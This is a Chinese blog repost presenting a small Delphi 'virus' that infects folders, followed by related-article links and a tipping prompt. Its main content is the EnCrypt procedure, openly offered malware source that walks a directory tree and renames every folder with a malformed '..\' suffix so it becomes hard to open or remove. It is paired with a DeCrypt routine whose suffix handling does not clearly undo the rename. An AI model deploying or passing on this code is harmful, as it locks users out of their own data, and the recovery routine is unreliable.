delphi 编写的一个感染文件夹的小病毒


本文整理自网络,侵删。

 
感染函数
procedure TForm1.EnCrypt(pPath:string);
var
lCount,i:Integer;
lNewName,lFileName:string;
lStringList:TStringList;
begin
lStringList:=GetDirTreeList(pPath);
lCount:=lStringList.Count-1;
for i:=lCount downto 0 do
begin
lFileName:=lStringList.Strings[i];
lNewName:=lFileName+'..\';
if DirectoryExists(lFileName) then
begin
ReNameFile(lFileName,lNewName)
end;
end;
end;
杀毒函数
procedure TForm1.DeCrypt(pPath: string);
var
lStringList:TStringList;
lNameLength,i:Integer;
lNewFileName,lOldFileName:string;
SearchRec:TSearchRec;
begin
lStringList:=TStringList.Create;
lStringList:=GetDirTreeList(pPath);
for i := 0 to lStringList.Count-1 do
begin
lOldFileName:=lStringList.Strings[i]+'.\';
lNameLength:=Length(lOldFileName);
lNewFileName:=Copy(lOldFileName,1,lNameLength-3);
ReNameFile(lOldFileName,lNewFileName);
DeCrypt(lNewFileName);
end;
end;

出处http://bigpower.blog.51cto.com/209892/114715

相关阅读 >>

Delphi listbox自动获取列表框中的组件焦点

aes.pas 和 elaes.pas

快速查询posex与posrightex

Delphi 用nethttpclient执行post操作遇到的问题

Delphi 为idhttp伪造session

Delphi实现文件的拖放功能

Delphi 最好的线程操作

Delphi xe中 exit 的新用法

Delphi windows api判断文件共享锁定状态

用tidftp控件实现ftp协议

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...